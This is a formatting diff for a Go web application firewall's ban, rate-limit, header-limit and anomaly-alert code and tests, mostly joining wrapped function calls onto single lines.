-	event string,
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
-	raised time.Time,
-	client string,
-	ban bans.Ban,
-	expires string,
 ) alerts.Alert {
 	return alerts.Alert{
 		Instance: alertInstance,
@@ -315,11 +254,7 @@ func banAlert(
 // attackAlert is banAlert for a ban for the probe rule of testRules, with
 // the netblock and the notes of ban.
 func attackAlert(
-	event string,
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
-	raised time.Time,
-	client string,
-	ban bans.Ban,
-	expires string,
 ) alerts.Alert {
 	return banAlert(event, raised, client, bans.Ban{
 		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",

internal/waf/anomaly_internal_test.go

@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
 
 	defer func() {
 		if r := recover(); r != nil {
-			t.Errorf(
+			t.Errorf("counting the request did work, with every threshold off: %v", r)
-				"counting the request did work, with every threshold off: %v",
-				r,
-			)
 		}
 	}()
 

internal/waf/anomaly_test.go

@@ -51,9 +51,7 @@ const (
 	hour = "hour"
 )
 
-func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, scope := range []struct {
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
 			t.Run(setting, func(t *testing.T) {
 				t.Parallel()
 
-				env := map[string]string{setting: value, watchNets: office}
+				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
-				s, clk, server, queue := startWithLookupsAndClock(t, env)
+					setting: value, watchNets: office,
+				})
 				start := clk.Now()
 
 				// The third upload takes the count over the threshold, and the
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
 		waiting[1].SuppressedRepeats != 1 {
-		t.Errorf(
+		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
-			"alerts wait %+v, want the first and another, with 1 repeat",
-			waiting,
-		)
 	}
 }
 
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
 		got = append(got, alert.Client.String())
 	}
 
-	if want := []string{allowed, exempt, client, denied}; !slices.Equal(
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
-		got,
-		want,
-	) {
 		t.Errorf("alerts for the clients %v, want %v", got, want)
 	}
 }
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
 	t.Parallel()
 
 	// With every threshold off, nothing is counted.
-	s, server, queue := startWithLookups(
+	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
-		t,
-		map[string]string{watchNets: office},
-	)
 
 	for range 5 {
 		s.uploadFrom(client)
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
 		got[counter.ASN] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
-		got,
-		want,
-	) {
 		t.Errorf("requests by AS number %v, want %v", got, want)
 	}
 }
@@ -337,9 +324,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		release()
 		waitUntil(func() bool {
-			_, kept := server.Load().GeoJS.Kept(
+			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
-				netip.MustParsePrefix(fromDE + "/32"),
-			)
 
 			return kept
 		})
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	// number it gives.
 	s := &sender{t: t, addr: addr, out: out}
 	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
-		t.Errorf(
+		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
-			"log line has AS number %q, want none: the request waited",
-			line.ASN,
-		)
 	}
 
 	want := []anomaly.Counter{{
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 	t.Parallel()
 
-	s, _, server, _ := startAppWithAlerts(
+	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
-		t,
+		anomalyWatch + requestsPerMinute: aLot,
-		readAndAnswer,
+		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
-		map[string]string{
+	})
-			anomalyWatch + requestsPerMinute: aLot,
-			watchNets: office + ",wide=203.0.0.0/16" +
-				",other=198.51.100.0/25",
-		},
-	)
 
 	// client is in office and in wide.
 	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 		got[counter.Name] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
-		got,
-		want,
-	) {
 		t.Errorf("requests by named netblock %v, want %v", got, want)
 	}
 }

internal/waf/answertime_test.go

@@ -75,9 +75,7 @@ func fillHeaders(req *http.Request, total int) {
 	}
 }
 
-func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
+func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s := startWAF(t, "", map[string]string{wafMode: block})
@@ -92,10 +90,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
 	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
 
 	if line.DurationCoreRuleSetMS != nil {
-		t.Errorf(
+		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
-			"the Core Rule Set read the request, for %f ms",
-			*line.DurationCoreRuleSetMS,
-		)
 	}
 }
 
@@ -107,12 +102,8 @@ func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
 	fillHeaders(req, headerFieldLimit+1)
 	do(t, req)
 
-	wantHeuristic(
+	wantHeuristic(t, s.out.requestLine(t), "header_limits",
-		t,
+		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
-		s.out.requestLine(t),
-		"header_limits",
-		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`,
-	)
 }
 
 func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
@@ -169,12 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
 
 			if tc.refused {
 				wantDisposition(t, got, tooLarge, waf.DispositionDeny)
-				wantLine(
+				wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
-					t,
-					line,
-					tooLarge,
-					requestlog.ActionRequestHeaderTooLarge,
-				)
 
 				return
 			}
@@ -183,9 +169,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
 			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 
 			if line.DurationCoreRuleSetMS == nil {
-				t.Error(
+				t.Error("the Core Rule Set did not read a request within the limits")
-					"the Core Rule Set did not read a request within the limits",
-				)
 			}
 		})
 	}
@@ -214,11 +198,7 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
 func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
 	t.Parallel()
 
-	s := startWAF(
+	s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client})
-		t,
-		"",
-		map[string]string{wafMode: block, allowNets: client},
-	)
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 
@@ -239,12 +219,8 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
 	line := s.out.requestLine(t)
 	if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
 		line.DurationCoreRuleSetMS != nil {
-		t.Errorf(
+		t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
-			"would_action %q and duration_core_rule_set_ms %v, want %q and none",
+			line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
-			line.WouldAction,
-			line.DurationCoreRuleSetMS,
-			requestlog.ActionRequestHeaderTooLarge,
-		)
 	}
 }
 
@@ -259,12 +235,7 @@ func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
 		wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
 	}
 
-	wantDisposition(
+	wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow)
-		t,
-		s.ask(client, "/"),
-		http.StatusOK,
-		waf.DispositionAllow,
-	)
 }
 
 func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
@@ -339,12 +310,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
 			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 
 			wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
-			wantLine(
+			wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge)
-				t,
-				s.out.requestLine(t),
-				tooLarge,
-				requestlog.ActionRequestHeaderTooLarge,
-			)
 		})
 	}
 }
@@ -361,12 +327,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
 	})
 	s := startWAF(t, "", map[string]string{
 		lookupSource: fileSource, lookupDBPath: path,
-		tagLists: "vpn=" + vpnList,
+		tagLists:      "vpn=" + vpnList,
-		routeWatchURL: startRouteWatch(
+		routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}),
-			t,
+		dnsblZones:    dnsblZone, reputationAction: actionLog,
-			map[string]standInRoute{client: {prefixDE, 64496}},
-		),
-		dnsblZones: dnsblZone, reputationAction: actionLog,
 		rulesDir: writeRules(t, "noted path log ^/\n"),
 		wafMode:  block,
 	})
@@ -388,34 +351,19 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
 
 	if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
 		lines[0].DurationCoreRuleSetMS != nil {
-		t.Errorf(
+		t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none",
-			"rule ids %v, counts %+v and Core Rule Set time %v, want none",
+			lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS)
-			lines[0].RuleIDs,
-			lines[0].Counts,
-			lines[0].DurationCoreRuleSetMS,
-		)
 	}
 
 	// The request within the limits shows that each check leaves its mark.
-	wantTags(
+	wantTags(t, lines[1],
-		t,
+		"asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn")
-		lines[1],
-		"asn=64496",
-		"country=DE",
-		"dnsbl="+dnsblZone,
-		"exploitsignature",
-		"vpn",
-	)
 	wantTagsMissing(t, lines[1], "no_answer_yet")
 
 	if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
 		lines[1].DurationCoreRuleSetMS == nil {
-		t.Errorf(
+		t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each",
-			"rule ids %v, counts %+v and Core Rule Set time %v, want each",
+			lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS)
-			lines[1].RuleIDs,
-			lines[1].Counts,
-			lines[1].DurationCoreRuleSetMS,
-		)
 	}
 }
 
@@ -430,29 +378,17 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
 	})
 	countClient(t, s.server, s.clock.Now())
 
-	wantDisposition(
+	wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny)
-		t,
-		s.ask(fromDE, "/"),
-		http.StatusForbidden,
-		waf.DispositionDeny,
-	)
 
 	line := s.out.requestLine(t)
-	wantLine(
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		t,
-		line,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 
 	if line.RateLimitPercent != nil {
 		t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
 	}
 }
 
-func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	// The client's next request takes it over the whole limit, so it does
@@ -467,29 +403,17 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
 	}})
 	countClient(t, s.server, s.clock.Now())
 
-	wantDisposition(
+	wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny)
-		t,
-		s.ask(client, "/"),
-		http.StatusForbidden,
-		waf.DispositionDeny,
-	)
 
 	line := s.out.requestLine(t)
-	wantLine(
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		t,
-		line,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 
 	if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
 		t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
 	}
 }
 
-func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
+func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	geojsURL, asked := startGeoJS(t)
@@ -503,12 +427,8 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
 	wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
 
 	if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
-		t.Errorf(
+		t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+
-			"GeoJS was asked about %v, and the answer gave the AS number %q, "+
+			"want neither", asked(), got.header.Get("X-Client-Asn"))
-				"want neither",
-			asked(),
-			got.header.Get("X-Client-Asn"),
-		)
 	}
 }
 
@@ -535,12 +455,7 @@ func askDirectly(
 ) (int, time.Duration) {
 	t.Helper()
 
-	req := httptest.NewRequestWithContext(
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
-		t.Context(),
-		http.MethodGet,
-		"/",
-		http.NoBody,
-	)
 	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
 	req.Header.Set(waf.ClientHeader, client)
 	req.Header.Set(requestIDHeader, "the-id")
@@ -556,20 +471,12 @@ func askDirectly(
 
 // banClient bans client at now.
 func banClient(_ *testing.T, server *waf.Server, now time.Time) {
-	server.Ledger.BanForLimit(
+	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
-		netip.MustParsePrefix(client+"/32"),
-		now,
-		bans.Notes{},
-	)
 }
 
 // countClient counts one request from client at now for the rate limits.
 func countClient(_ *testing.T, server *waf.Server, now time.Time) {
-	server.Limiter.Count(
+	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
-		netip.MustParsePrefix(client+"/32"),
-		now,
-		wholeLimit,
-	)
 }
 
 // listClient puts client on the blocklist at dropURL.
@@ -652,22 +559,13 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 
-				status, took := askDirectly(
+				status, took := askDirectly(t, server, func(req *http.Request) {
-					t,
+					req.Header.Set(cookieHeader, tc.cookie)
-					server,
+				})
-					func(req *http.Request) {
-						req.Header.Set(cookieHeader, tc.cookie)
-					},
-				)
 
 				if status != tc.status || took != 0 {
-					t.Errorf(
+					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
-						"answered %d after %s, want %d at once; output:\n%s",
+						status, took, tc.status, out.text())
-						status,
-						took,
-						tc.status,
-						out.text(),
-					)
 				}
 
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -679,9 +577,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 	}
 }
 
-func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -720,21 +616,11 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 
-				status, took := askDirectly(
+				status, took := askDirectly(t, server, func(*http.Request) {})
-					t,
-					server,
-					func(*http.Request) {},
-				)
 
 				if status != tc.status || took != defaultLookupWait {
-					t.Errorf(
+					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
-						"answered %d after %s, want %d after %s; output:\n%s",
+						status, took, tc.status, defaultLookupWait, out.text())
-						status,
-						took,
-						tc.status,
-						defaultLookupWait,
-						out.text(),
-					)
 				}
 
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -778,11 +664,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 	synctest.Test(t, func(t *testing.T) {
 		// AbuseIPDB is asked only about a client with an offence.
 		group := netip.MustParsePrefix(client + "/32")
-		server.Limiter.AddToHistory(
+		server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
-			group,
-			time.Now(),
-			ratelimit.Request{Attack: true},
-		)
 
 		status, took := askDirectly(t, server, func(req *http.Request) {
 			req.Header.Set("User-Agent", "test")
@@ -791,17 +673,9 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 		})
 
 		// The wait for GeoJS decides when the answer comes.
-		if status != http.StatusOK || took != defaultLookupWait ||
+		if status != http.StatusOK || took != defaultLookupWait || took >= answerTimeLimit {
-			took >= answerTimeLimit {
+			t.Errorf("answered %d after %s, want %d after %s, within %s; output:\n%s",
-			t.Errorf(
+				status, took, http.StatusOK, defaultLookupWait, answerTimeLimit, out.text())
-				"answered %d after %s, want %d after %s, within %s; output:\n%s",
-				status,
-				took,
-				http.StatusOK,
-				defaultLookupWait,
-				answerTimeLimit,
-				out.text(),
-			)
 		}
 
 		// Each outside source was asked, and none has answered. GeoJS is asked
@@ -812,17 +686,10 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 
 		// The resolver holds the query until it is released below, so a waf
 		// that waited for the query would answer only once it had failed.
-		queries, failures := server.DNSBL.Queries(
+		queries, failures := server.DNSBL.Queries(dnsblZone), server.DNSBL.Failures(dnsblZone)
-			dnsblZone,
-		), server.DNSBL.Failures(
-			dnsblZone,
-		)
 		if queries != 1 || failures != 0 {
-			t.Errorf(
+			t.Errorf("%d queries to the DNS blocklist, %d failed, want 1, none failed",
-				"%d queries to the DNS blocklist, %d failed, want 1, none failed",
+				queries, failures)
-				queries,
-				failures,
-			)
 		}
 
 		if checked := server.AbuseIPDB.Checked(); checked != 1 {
@@ -854,11 +721,7 @@ const (
 func startHeldResolver(t *testing.T) (string, func()) {
 	t.Helper()
 
-	conn, err := (&net.ListenConfig{}).ListenPacket(
+	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
-		t.Context(),
-		"udp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}

internal/waf/bans.go

@@ -29,11 +29,7 @@ type activeBan struct{}
 
 func (activeBan) name() string { return "active_ban" }
 
-func (activeBan) check(
+func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	now time.Time,
-) *verdict {
 	check := rq.h.ledger.Check
 	if rq.h.config.Observe {
 		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -105,11 +101,7 @@ func (rq *request) countedBytes() int64 {
 // the client's counters back to zero. In observe mode it makes no ban and
 // sets nothing back, and raises the alert for the ban it would have made,
 // if that alert would be sent.
-func (rq *request) banForLimit(
+func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
-	now time.Time,
-	hit ratelimit.Hit,
-	status int,
-) {
 	switch hit.Kind {
 	case ratelimit.KindBytes:
 		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -123,8 +115,7 @@ func (rq *request) banForLimit(
 	rq.h.metrics.LimitHit(hit)
 
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe &&
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
-		!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
 		return
 	}
 
@@ -173,11 +164,8 @@ func (rq *request) banForLimit(
 // alert would be sent. It returns the action for that ban.
 func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe &&
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
-		!rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
-		return banAction(
-			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
-		)
 	}
 
 	notes.ASN = rq.line.ASN
@@ -210,16 +198,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 // CrowdSec's decision on the client, ends. In observe mode it makes no
 // ban, and raises the alert for the ban it would have made, if that alert
 // would be sent. It returns the action for that ban.
-func (rq *request) banForCrowdSec(
+func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
-	now time.Time,
-	decision reputation.Decision,
-) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe &&
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
-		!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
-		return banAction(
-			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
-		)
 	}
 
 	notes := bans.Notes{
@@ -232,13 +214,8 @@ func (rq *request) banForCrowdSec(
 	}
 
 	if rq.h.config.Observe {
-		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
-			netblock,
+			decision.Scenario, notes)
-			now,
-			decision.Expires,
-			decision.Scenario,
-			notes,
-		)
 		if wouldBan {
 			rq.alertBan(ban)
 		}

internal/waf/bans_test.go

@@ -33,52 +33,29 @@ const (
 func TestBrokenLimitBansTheClient(t *testing.T) {
 	t.Parallel()
 
-	s, clk, _ := startWithClock(
+	s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
-		t,
-		"",
-		map[string]string{rateLimitPerMinute: "1"},
-	)
 	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
 
 	// The request over the limit of one a minute is refused, and bans the
 	// client for an hour, the default.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 
-	line := s.get(
+	line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		client,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 	if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
 		line.BanExpires != expires {
-		t.Errorf(
+		t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
-			"log line has limit_hit %q, offence %q and ban_expires %q, "+
+			"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
-				"want minute, limit and %s",
+			expires)
-			line.LimitHit,
-			line.Offence,
-			line.BanExpires,
-			expires,
-		)
 	}
 
 	// Every request while the ban lasts is refused.
 	clk.advance(time.Hour - time.Second)
 
-	line = s.get(
+	line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		client,
+	if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
-		http.StatusForbidden,
+		t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
-		requestlog.ActionTemporarilyBanned,
+			"want %s and neither of the others", line.BanExpires, line.Offence,
-	)
+			line.LimitHit, expires)
-	if line.BanExpires != expires || line.Offence != "" ||
-		line.LimitHit != "" {
-		t.Errorf(
-			"log line has ban_expires %q, offence %q and limit_hit %q, "+
-				"want %s and neither of the others",
-			line.BanExpires,
-			line.Offence,
-			line.LimitHit,
-			expires,
-		)
 	}
 
 	// Once it ends, the client is let through.
@@ -101,11 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 	breakLimit := func() string {
 		s.get(client, http.StatusOK, requestlog.ActionForward)
 
-		line := s.get(
+		line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-			client,
-			http.StatusForbidden,
-			requestlog.ActionClientIsRateLimited,
-		)
 
 		return line.BanExpires
 	}
@@ -146,11 +119,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server := startWithClock(
+	s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
-		t,
-		"",
-		map[string]string{rateLimitPerDay: "2"},
-	)
 
 	// The third request in a day is over the limit of two, and bans the
 	// client for an hour.
@@ -159,11 +128,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	for range 3 {
-		s.get(
+		s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-			client,
-			http.StatusForbidden,
-			requestlog.ActionTemporarilyBanned,
-		)
 	}
 
 	// Later the same day the client has its whole allowance again: the
@@ -176,10 +141,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 
 	banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(banned) != 2 || banned[0].Notes.Refused != 3 {
-		t.Errorf(
+		t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
-			"bans %+v, want two, the first with 3 requests refused",
-			banned,
-		)
 	}
 }
 
@@ -230,18 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 			s, _, _ := startWithClock(t, "", env)
 
 			s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
-			s.get(
+			s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-				tc.breaker,
-				http.StatusForbidden,
-				requestlog.ActionClientIsRateLimited,
-			)
 
 			for _, sent := range tc.refused {
-				s.get(
+				s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-					sent,
-					http.StatusForbidden,
-					requestlog.ActionTemporarilyBanned,
-				)
 			}
 
 			for _, sent := range tc.let {
@@ -266,11 +220,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(
+	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		otherClient,
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 	if line.Country != "" {
 		t.Errorf("log line has country %q, want none", line.Country)
 	}
@@ -291,11 +241,7 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(
+	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		otherClient,
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 	wantHeuristic(t, line, "active_ban",
 		`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
 }
@@ -401,12 +347,8 @@ func TestBanNotes(t *testing.T) {
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	got = ledger.Bans(netblock)
-	if len(got) != 2 ||
+	if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
-		t.Errorf(
-			"bans %+v, want two, the second with one earlier ban for a limit",
-			got,
-		)
 	}
 }
 
@@ -422,18 +364,10 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		otherClient,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	s.get(
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		otherClient,
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 }
 
 // clock is the time a test sets, by which sww counts requests and
@@ -474,20 +408,9 @@ func startWithClock(
